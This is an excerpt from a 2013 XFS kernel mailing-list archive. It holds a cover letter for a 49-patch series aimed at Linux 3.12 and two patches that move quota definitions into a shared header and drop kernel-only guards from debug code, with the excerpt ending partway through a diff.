[150.101.137.145]) by cuda.sgi.com with ESMTP id 0Li1Os4EW48hP6Be for ; Thu, 18 Jul 2013 23:25:37 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArgLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0gwE7MFIDiEOVbaBCjnKBLoNyA6kqgyQq Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:32 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-00047t-I5 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001wc-Eb for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 00/49] current patch queue for 3.12 Date: Fri, 19 Jul 2013 16:24:31 +1000 X-ASG-Orig-Subj: [PATCH 00/49] current patch queue for 3.12 Message-Id: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215137 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, The following mass of patches is my current patch queue I have pending for the 3.12 cycle. There are 4 main pieces in this: 1. kernel/user libxfs rework This is the first 34 patches of the series, and they have the single aim of removing all the differences between the shared userspace and kernel code. There are several new header files created for shared user/kernel definitions to remove all the __KERNEL__ sections from our header files. The result is about 1500 lines of code in headers files are no longer needlessly shared with userspace. Similarly, the C code itself is split up in such a ways that kernel only functionality is separated from the shared code. For example, all the readdir code is moved to xfs_dir2_readdir.c, and all the attribute listing code is moved to xfs_attr_list.c This means that the files shared with userpace are now mostly identical (except for #includes) and don't have big diffs when kernel-only code was cut out of the userspace versions. The only remaining significant differences are in xfs_rtalloc.c (needs splitting into kernel only/shared versions) and the generic btree code (different tracing in userspace). 2. Log space reservation rework from Jeff Liu Rebasing on the above work, and now takes into account the log stripe unit when determining the maximum transaction reservation size. This will warning if a filesystem config is mounted where the log may actually be physically too small because old mkfs programs didn't take into account the log stripe unit when calculating the minimum size. 3. CIL commit optimisation patchset This is a split up version of the RFC patch that has had a lot more testing and now doesn't randomly assert fail. 4. Directory entry file type support This adds a single byte field into the directory entries that indicate the type of inode that the dirent points to. This brings XFS up to the same functionality as ext4 and btrfs, and enables us to support whiteout dirents for union mounts. It also greatly speeds use directory traversals as we no longer need to stat every inode to find out which ones are subdirectories that need to be walked. I have one remaining bit of functionality to complete for 3.12, and that is a new extent swap implementation for CRC enabled filesystems. I hope to have that complete and ready for review within a week. This series will be followed by an xfsprogs patchset that complements this series to be applied to the crc-dev branch. It makes all the same changes and gives us the most similar code base between kernel and userspace that we've had in many, many years.... Comments, flames, testing and crazy emails all welcome. Cheers, Dave. $ git diff --stat -C -M --summary --minimal 47188d3..3899f80 fs/xfs/Makefile | 20 +- fs/xfs/xfs_acl.c | 4 +- fs/xfs/xfs_ag.h | 53 - fs/xfs/xfs_alloc.c | 6 +- fs/xfs/xfs_aops.c | 4 +- fs/xfs/xfs_attr.c | 426 +----- fs/xfs/xfs_attr.h | 9 + fs/xfs/xfs_attr_inactive.c | 453 ++++++ fs/xfs/xfs_attr_leaf.c | 655 +------- fs/xfs/xfs_attr_leaf.h | 2 + fs/xfs/xfs_attr_list.c | 655 ++++++++ fs/xfs/xfs_attr_remote.c | 18 +- fs/xfs/xfs_bmap.c | 817 +--------- fs/xfs/xfs_bmap.h | 56 +- fs/xfs/xfs_bmap_btree.c | 6 +- fs/xfs/xfs_bmap_util.c | 2026 ++++++++++++++++++++++++ fs/xfs/xfs_bmap_util.h | 110 ++ fs/xfs/xfs_btree.h | 2 - fs/xfs/xfs_buf.c | 1 + fs/xfs/xfs_buf_item.c | 52 +- fs/xfs/xfs_buf_item.h | 100 +- fs/xfs/xfs_da_btree.c | 8 +- fs/xfs/xfs_da_btree.h | 1 + fs/xfs/xfs_dfrag.c | 459 ------ fs/xfs/xfs_dfrag.h | 53 - fs/xfs/xfs_dir2.c | 42 +- fs/xfs/xfs_dir2.h | 45 + fs/xfs/xfs_dir2_block.c | 122 +- fs/xfs/xfs_dir2_data.c | 25 +- fs/xfs/xfs_dir2_format.h | 186 ++- fs/xfs/xfs_dir2_leaf.c | 404 +---- fs/xfs/xfs_dir2_node.c | 14 +- fs/xfs/xfs_dir2_priv.h | 49 +- fs/xfs/xfs_dir2_readdir.c | 696 +++++++++ fs/xfs/xfs_dir2_sf.c | 240 ++- fs/xfs/xfs_discard.c | 5 +- fs/xfs/xfs_dquot.c | 8 +- fs/xfs/xfs_dquot_item.c | 23 +- fs/xfs/xfs_error.c | 1 - fs/xfs/xfs_export.c | 5 +- fs/xfs/xfs_extfree_item.c | 50 +- fs/xfs/xfs_extfree_item.h | 88 +- fs/xfs/xfs_file.c | 3 +- fs/xfs/xfs_filestream.c | 8 +- fs/xfs/xfs_filestream.h | 4 - fs/xfs/xfs_format.h | 169 ++ fs/xfs/xfs_fs.h | 32 + fs/xfs/xfs_fsops.c | 8 +- fs/xfs/xfs_ialloc.c | 3 +- fs/xfs/xfs_icache.c | 3 +- fs/xfs/xfs_icache.h | 7 + fs/xfs/xfs_icreate_item.c | 21 +- fs/xfs/xfs_icreate_item.h | 18 - fs/xfs/xfs_inode.c | 3732 ++++++++++++++++++--------------------------- fs/xfs/xfs_inode.h | 312 +--- fs/xfs/xfs_inode_buf.c | 444 ++++++ fs/xfs/xfs_inode_buf.h | 52 + fs/xfs/xfs_inode_fork.c | 1921 +++++++++++++++++++++++ fs/xfs/xfs_inode_fork.h | 171 +++ fs/xfs/xfs_inode_item.c | 53 +- fs/xfs/xfs_inode_item.h | 115 +- fs/xfs/xfs_ioctl.c | 113 +- fs/xfs/xfs_ioctl.h | 10 + fs/xfs/xfs_ioctl32.c | 4 +- fs/xfs/xfs_iomap.c | 21 +- fs/xfs/xfs_iops.c | 40 +- fs/xfs/xfs_iops.h | 13 + fs/xfs/xfs_linux.h | 32 + fs/xfs/xfs_log.c | 109 +- fs/xfs/xfs_log.h | 90 +- fs/xfs/xfs_log_cil.c | 369 ++--- fs/xfs/xfs_log_format.h | 846 ++++++++++ fs/xfs/xfs_log_priv.h | 155 +- fs/xfs/xfs_log_recover.c | 12 +- fs/xfs/xfs_log_rlimit.c | 145 ++ fs/xfs/xfs_mount.c | 833 +--------- fs/xfs/xfs_mount.h | 113 +- fs/xfs/xfs_qm.c | 13 +- fs/xfs/xfs_qm_bhv.c | 1 + fs/xfs/xfs_qm_syscalls.c | 15 +- fs/xfs/xfs_quota.h | 260 +--- fs/xfs/xfs_quota_defs.h | 157 ++ fs/xfs/xfs_quotaops.c | 4 +- fs/xfs/xfs_rename.c | 346 ----- fs/xfs/xfs_rtalloc.c | 28 +- fs/xfs/xfs_rtalloc.h | 53 +- fs/xfs/xfs_sb.c | 771 ++++++++++ fs/xfs/xfs_sb.h | 59 +- fs/xfs/xfs_super.c | 6 +- fs/xfs/xfs_symlink.c | 189 +-- fs/xfs/xfs_symlink.h | 41 +- fs/xfs/xfs_symlink_remote.c | 200 +++ fs/xfs/xfs_trace.c | 1 + fs/xfs/xfs_trans.c | 709 +-------- fs/xfs/xfs_trans.h | 293 +--- fs/xfs/xfs_trans_dquot.c | 1 + fs/xfs/xfs_trans_priv.h | 3 + fs/xfs/xfs_trans_resv.c | 769 ++++++++++ fs/xfs/xfs_trans_resv.h | 116 ++ fs/xfs/xfs_types.h | 60 +- fs/xfs/xfs_utils.c | 314 ---- fs/xfs/xfs_utils.h | 27 - fs/xfs/xfs_vnodeops.c | 1870 ----------------------- fs/xfs/xfs_vnodeops.h | 55 - fs/xfs/xfs_xattr.c | 2 +- 105 files changed, 12629 insertions(+), 11714 deletions(-) create mode 100644 fs/xfs/xfs_attr_inactive.c create mode 100644 fs/xfs/xfs_attr_list.c create mode 100644 fs/xfs/xfs_bmap_util.c create mode 100644 fs/xfs/xfs_bmap_util.h delete mode 100644 fs/xfs/xfs_dfrag.c delete mode 100644 fs/xfs/xfs_dfrag.h create mode 100644 fs/xfs/xfs_dir2_readdir.c create mode 100644 fs/xfs/xfs_format.h create mode 100644 fs/xfs/xfs_inode_buf.c create mode 100644 fs/xfs/xfs_inode_buf.h create mode 100644 fs/xfs/xfs_inode_fork.c create mode 100644 fs/xfs/xfs_inode_fork.h create mode 100644 fs/xfs/xfs_log_format.h create mode 100644 fs/xfs/xfs_log_rlimit.c create mode 100644 fs/xfs/xfs_quota_defs.h delete mode 100644 fs/xfs/xfs_rename.c create mode 100644 fs/xfs/xfs_sb.c create mode 100644 fs/xfs/xfs_symlink_remote.c From dave@fromorbit.com Fri Jul 19 01:25:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 17A6F7F75 for ; Fri, 19 Jul 2013 01:25:40 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 078FD304043 for ; Thu, 18 Jul 2013 23:25:39 -0700 (PDT) X-ASG-Debug-ID: 1374215130-04cbb04690117c020006-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id bHIACLmiZ5O7NMyi for ; Thu, 18 Jul 2013 23:25:38 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGDE5AxsZiA+2L45ygTqDZgOUBo15hyuDJCqBLiQ Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:34 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048s-5K for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-0001z2-3u for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 30/49] xfs: remove __KERNEL__ from debug code Date: Fri, 19 Jul 2013 16:25:01 +1000 X-ASG-Orig-Subj: [PATCH 30/49] xfs: remove __KERNEL__ from debug code Message-Id: <1374215120-7271-31-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215138 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner There is no reason the remaining kernel-only debug code needs to remain kernel-only. Kill the __KERNEL__ part of the defines, and let userspace handle the debug code appropriately. Signed-off-by: Dave Chinner --- fs/xfs/xfs_bmap.h | 2 +- fs/xfs/xfs_dir2_data.c | 4 ++-- fs/xfs/xfs_rtalloc.c | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/fs/xfs/xfs_bmap.h b/fs/xfs/xfs_bmap.h index 8b2fe97..33b41f3 100644 --- a/fs/xfs/xfs_bmap.h +++ b/fs/xfs/xfs_bmap.h @@ -127,7 +127,7 @@ static inline void xfs_bmap_init(xfs_bmap_free_t *flp, xfs_fsblock_t *fbp) { BMAP_RIGHT_FILLING, "RF" }, \ { BMAP_ATTRFORK, "ATTR" } -#if defined(__KERNEL) && defined(DEBUG) +#ifdef DEBUG void xfs_bmap_trace_exlist(struct xfs_inode *ip, xfs_extnum_t cnt, int whichfork, unsigned long caller_ip); #define XFS_BMAP_TRACE_EXLIST(ip,c,w) \ diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index 4e1917d..98c23fa 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -331,7 +331,7 @@ xfs_dir2_data_freefind( xfs_dir2_data_free_t *dfp; /* bestfree entry */ xfs_dir2_data_aoff_t off; /* offset value needed */ struct xfs_dir2_data_free *bf; -#if defined(DEBUG) && defined(__KERNEL__) +#ifdef DEBUG int matched; /* matched the value */ int seenzero; /* saw a 0 bestfree entry */ #endif @@ -339,7 +339,7 @@ xfs_dir2_data_freefind( off = (xfs_dir2_data_aoff_t)((char *)dup - (char *)hdr); bf = xfs_dir3_data_bestfree_p(hdr); -#if defined(DEBUG) && defined(__KERNEL__) +#ifdef DEBUG /* * Validate some consistency in the bestfree table. * Check order, non-overlapping entries, and if we find the diff --git a/fs/xfs/xfs_rtalloc.c b/fs/xfs/xfs_rtalloc.c index 4822806..6dbcb5e 100644 --- a/fs/xfs/xfs_rtalloc.c +++ b/fs/xfs/xfs_rtalloc.c @@ -2147,7 +2147,7 @@ xfs_rtfree_extent( ASSERT(mp->m_rbmip->i_itemp != NULL); ASSERT(xfs_isilocked(mp->m_rbmip, XFS_ILOCK_EXCL)); -#if defined(__KERNEL__) && defined(DEBUG) +#ifdef DEBUG /* * Check to see that this whole range is currently allocated. */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:25:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5DE7D7F72 for ; Fri, 19 Jul 2013 01:25:39 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4F5E5304043 for ; Thu, 18 Jul 2013 23:25:39 -0700 (PDT) X-ASG-Debug-ID: 1374215130-04cbb04690117c020005-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id s3naZVMXmlLwgs04 for ; Thu, 18 Jul 2013 23:25:37 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGBgZOQMbGYgPti+OXxOBLoNyA6F/hyuDJCqBLQ Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:32 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-000482-Lx for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001xL-L5 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 09/49] xfs: introduce xfs_quota_defs.h Date: Fri, 19 Jul 2013 16:24:40 +1000 X-ASG-Orig-Subj: [PATCH 09/49] xfs: introduce xfs_quota_defs.h Message-Id: <1374215120-7271-10-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215136 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner There are a lot of quota flag definitions that are shared by user and kernel space. Move them all to xfs_quota_defs.h so we can unshare xfs_quota.h and remove the __KERNEL__ regions from it. Signed-off-by: Dave Chinner --- fs/xfs/xfs_quota.h | 134 +---------------------------------------- fs/xfs/xfs_quota_defs.h | 157 ++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 160 insertions(+), 131 deletions(-) create mode 100644 fs/xfs/xfs_quota_defs.h diff --git a/fs/xfs/xfs_quota.h b/fs/xfs/xfs_quota.h index 16bde32..fc2fed6 100644 --- a/fs/xfs/xfs_quota.h +++ b/fs/xfs/xfs_quota.h @@ -18,141 +18,14 @@ #ifndef __XFS_QUOTA_H__ #define __XFS_QUOTA_H__ -struct xfs_trans; +#include "xfs_quota_defs.h" /* - * Even though users may not have quota limits occupying all 64-bits, - * they may need 64-bit accounting. Hence, 64-bit quota-counters, - * and quota-limits. This is a waste in the common case, but hey ... + * Kernel only quota definitions and functions */ -typedef __uint64_t xfs_qcnt_t; -typedef __uint16_t xfs_qwarncnt_t; - -/* - * flags for q_flags field in the dquot. - */ -#define XFS_DQ_USER 0x0001 /* a user quota */ -#define XFS_DQ_PROJ 0x0002 /* project quota */ -#define XFS_DQ_GROUP 0x0004 /* a group quota */ -#define XFS_DQ_DIRTY 0x0008 /* dquot is dirty */ -#define XFS_DQ_FREEING 0x0010 /* dquot is beeing torn down */ - -#define XFS_DQ_ALLTYPES (XFS_DQ_USER|XFS_DQ_PROJ|XFS_DQ_GROUP) -#define XFS_DQ_FLAGS \ - { XFS_DQ_USER, "USER" }, \ - { XFS_DQ_PROJ, "PROJ" }, \ - { XFS_DQ_GROUP, "GROUP" }, \ - { XFS_DQ_DIRTY, "DIRTY" }, \ - { XFS_DQ_FREEING, "FREEING" } - -/* - * We have the possibility of all three quota types being active at once, and - * hence free space modification requires modification of all three current - * dquots in a single transaction. For this case we need to have a reservation - * of at least 3 dquots. - * - * However, a chmod operation can change both UID and GID in a single - * transaction, resulting in requiring {old, new} x {uid, gid} dquots to be - * modified. Hence for this case we need to reserve space for at least 4 dquots. - * - * And in the worst case, there's a rename operation that can be modifying up to - * 4 inodes with dquots attached to them. In reality, the only inodes that can - * have their dquots modified are the source and destination directory inodes - * due to directory name creation and removal. That can require space allocation - * and/or freeing on both directory inodes, and hence all three dquots on each - * inode can be modified. And if the directories are world writeable, all the - * dquots can be unique and so 6 dquots can be modified.... - * - * And, of course, we also need to take into account the dquot log format item - * used to describe each dquot. - */ -#define XFS_DQUOT_LOGRES(mp) \ - ((sizeof(struct xfs_dq_logformat) + sizeof(struct xfs_disk_dquot)) * 6) - -#define XFS_IS_QUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_ALL_QUOTA_ACCT) -#define XFS_IS_UQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_UQUOTA_ACCT) -#define XFS_IS_PQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_PQUOTA_ACCT) -#define XFS_IS_GQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_GQUOTA_ACCT) -#define XFS_IS_UQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_UQUOTA_ENFD) -#define XFS_IS_GQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_GQUOTA_ENFD) -#define XFS_IS_PQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_PQUOTA_ENFD) - -/* - * Incore only flags for quotaoff - these bits get cleared when quota(s) - * are in the process of getting turned off. These flags are in m_qflags but - * never in sb_qflags. - */ -#define XFS_UQUOTA_ACTIVE 0x1000 /* uquotas are being turned off */ -#define XFS_GQUOTA_ACTIVE 0x2000 /* gquotas are being turned off */ -#define XFS_PQUOTA_ACTIVE 0x4000 /* pquotas are being turned off */ -#define XFS_ALL_QUOTA_ACTIVE \ - (XFS_UQUOTA_ACTIVE | XFS_GQUOTA_ACTIVE | XFS_PQUOTA_ACTIVE) - -/* - * Checking XFS_IS_*QUOTA_ON() while holding any inode lock guarantees - * quota will be not be switched off as long as that inode lock is held. - */ -#define XFS_IS_QUOTA_ON(mp) ((mp)->m_qflags & (XFS_UQUOTA_ACTIVE | \ - XFS_GQUOTA_ACTIVE | \ - XFS_PQUOTA_ACTIVE)) -#define XFS_IS_OQUOTA_ON(mp) ((mp)->m_qflags & (XFS_GQUOTA_ACTIVE | \ - XFS_PQUOTA_ACTIVE)) -#define XFS_IS_UQUOTA_ON(mp) ((mp)->m_qflags & XFS_UQUOTA_ACTIVE) -#define XFS_IS_GQUOTA_ON(mp) ((mp)->m_qflags & XFS_GQUOTA_ACTIVE) -#define XFS_IS_PQUOTA_ON(mp) ((mp)->m_qflags & XFS_PQUOTA_ACTIVE) - -/* - * Flags to tell various functions what to do. Not all of these are meaningful - * to a single function. None of these XFS_QMOPT_* flags are meant to have - * persistent values (ie. their values can and will change between versions) - */ -#define XFS_QMOPT_DQALLOC 0x0000002 /* alloc dquot ondisk if needed */ -#define XFS_QMOPT_UQUOTA 0x0000004 /* user dquot requested */ -#define XFS_QMOPT_PQUOTA 0x0000008 /* project dquot requested */ -#define XFS_QMOPT_FORCE_RES 0x0000010 /* ignore quota limits */ -#define XFS_QMOPT_SBVERSION 0x0000040 /* change superblock version num */ -#define XFS_QMOPT_DOWARN 0x0000400 /* increase warning cnt if needed */ -#define XFS_QMOPT_DQREPAIR 0x0001000 /* repair dquot if damaged */ -#define XFS_QMOPT_GQUOTA 0x0002000 /* group dquot requested */ -#define XFS_QMOPT_ENOSPC 0x0004000 /* enospc instead of edquot (prj) */ - -/* - * flags to xfs_trans_mod_dquot to indicate which field needs to be - * modified. - */ -#define XFS_QMOPT_RES_REGBLKS 0x0010000 -#define XFS_QMOPT_RES_RTBLKS 0x0020000 -#define XFS_QMOPT_BCOUNT 0x0040000 -#define XFS_QMOPT_ICOUNT 0x0080000 -#define XFS_QMOPT_RTBCOUNT 0x0100000 -#define XFS_QMOPT_DELBCOUNT 0x0200000 -#define XFS_QMOPT_DELRTBCOUNT 0x0400000 -#define XFS_QMOPT_RES_INOS 0x0800000 - -/* - * flags for dqalloc. - */ -#define XFS_QMOPT_INHERIT 0x1000000 - -/* - * flags to xfs_trans_mod_dquot. - */ -#define XFS_TRANS_DQ_RES_BLKS XFS_QMOPT_RES_REGBLKS -#define XFS_TRANS_DQ_RES_RTBLKS XFS_QMOPT_RES_RTBLKS -#define XFS_TRANS_DQ_RES_INOS XFS_QMOPT_RES_INOS -#define XFS_TRANS_DQ_BCOUNT XFS_QMOPT_BCOUNT -#define XFS_TRANS_DQ_DELBCOUNT XFS_QMOPT_DELBCOUNT -#define XFS_TRANS_DQ_ICOUNT XFS_QMOPT_ICOUNT -#define XFS_TRANS_DQ_RTBCOUNT XFS_QMOPT_RTBCOUNT -#define XFS_TRANS_DQ_DELRTBCOUNT XFS_QMOPT_DELRTBCOUNT - - -#define XFS_QMOPT_QUOTALL \ - (XFS_QMOPT_UQUOTA | XFS_QMOPT_PQUOTA | XFS_QMOPT_GQUOTA) -#define XFS_QMOPT_RESBLK_MASK (XFS_QMOPT_RES_REGBLKS | XFS_QMOPT_RES_RTBLKS) +struct xfs_trans; -#ifdef __KERNEL__ /* * This check is done typically without holding the inode lock; * that may seem racy, but it is harmless in the context that it is used. @@ -289,5 +162,4 @@ extern int xfs_mount_reset_sbqflags(struct xfs_mount *); extern const struct xfs_buf_ops xfs_dquot_buf_ops; -#endif /* __KERNEL__ */ #endif /* __XFS_QUOTA_H__ */ diff --git a/fs/xfs/xfs_quota_defs.h b/fs/xfs/xfs_quota_defs.h new file mode 100644 index 0000000..e6b0d6e --- /dev/null +++ b/fs/xfs/xfs_quota_defs.h @@ -0,0 +1,157 @@ +/* + * Copyright (c) 2000-2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_QUOTA_DEFS_H__ +#define __XFS_QUOTA_DEFS_H__ + +/* + * Quota definitions shared between user and kernel source trees. + */ + +/* + * Even though users may not have quota limits occupying all 64-bits, + * they may need 64-bit accounting. Hence, 64-bit quota-counters, + * and quota-limits. This is a waste in the common case, but hey ... + */ +typedef __uint64_t xfs_qcnt_t; +typedef __uint16_t xfs_qwarncnt_t; + +/* + * flags for q_flags field in the dquot. + */ +#define XFS_DQ_USER 0x0001 /* a user quota */ +#define XFS_DQ_PROJ 0x0002 /* project quota */ +#define XFS_DQ_GROUP 0x0004 /* a group quota */ +#define XFS_DQ_DIRTY 0x0008 /* dquot is dirty */ +#define XFS_DQ_FREEING 0x0010 /* dquot is beeing torn down */ + +#define XFS_DQ_ALLTYPES (XFS_DQ_USER|XFS_DQ_PROJ|XFS_DQ_GROUP) + +#define XFS_DQ_FLAGS \ + { XFS_DQ_USER, "USER" }, \ + { XFS_DQ_PROJ, "PROJ" }, \ + { XFS_DQ_GROUP, "GROUP" }, \ + { XFS_DQ_DIRTY, "DIRTY" }, \ + { XFS_DQ_FREEING, "FREEING" } + +/* + * We have the possibility of all three quota types being active at once, and + * hence free space modification requires modification of all three current + * dquots in a single transaction. For this case we need to have a reservation + * of at least 3 dquots. + * + * However, a chmod operation can change both UID and GID in a single + * transaction, resulting in requiring {old, new} x {uid, gid} dquots to be + * modified. Hence for this case we need to reserve space for at least 4 dquots. + * + * And in the worst case, there's a rename operation that can be modifying up to + * 4 inodes with dquots attached to them. In reality, the only inodes that can + * have their dquots modified are the source and destination directory inodes + * due to directory name creation and removal. That can require space allocation + * and/or freeing on both directory inodes, and hence all three dquots on each + * inode can be modified. And if the directories are world writeable, all the + * dquots can be unique and so 6 dquots can be modified.... + * + * And, of course, we also need to take into account the dquot log format item + * used to describe each dquot. + */ +#define XFS_DQUOT_LOGRES(mp) \ + ((sizeof(struct xfs_dq_logformat) + sizeof(struct xfs_disk_dquot)) * 6) + +#define XFS_IS_QUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_ALL_QUOTA_ACCT) +#define XFS_IS_UQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_UQUOTA_ACCT) +#define XFS_IS_PQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_PQUOTA_ACCT) +#define XFS_IS_GQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_GQUOTA_ACCT) +#define XFS_IS_UQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_UQUOTA_ENFD) +#define XFS_IS_GQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_GQUOTA_ENFD) +#define XFS_IS_PQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_PQUOTA_ENFD) + +/* + * Incore only flags for quotaoff - these bits get cleared when quota(s) + * are in the process of getting turned off. These flags are in m_qflags but + * never in sb_qflags. + */ +#define XFS_UQUOTA_ACTIVE 0x1000 /* uquotas are being turned off */ +#define XFS_GQUOTA_ACTIVE 0x2000 /* gquotas are being turned off */ +#define XFS_PQUOTA_ACTIVE 0x4000 /* pquotas are being turned off */ +#define XFS_ALL_QUOTA_ACTIVE \ + (XFS_UQUOTA_ACTIVE | XFS_GQUOTA_ACTIVE | XFS_PQUOTA_ACTIVE) + +/* + * Checking XFS_IS_*QUOTA_ON() while holding any inode lock guarantees + * quota will be not be switched off as long as that inode lock is held. + */ +#define XFS_IS_QUOTA_ON(mp) ((mp)->m_qflags & (XFS_UQUOTA_ACTIVE | \ + XFS_GQUOTA_ACTIVE | \ + 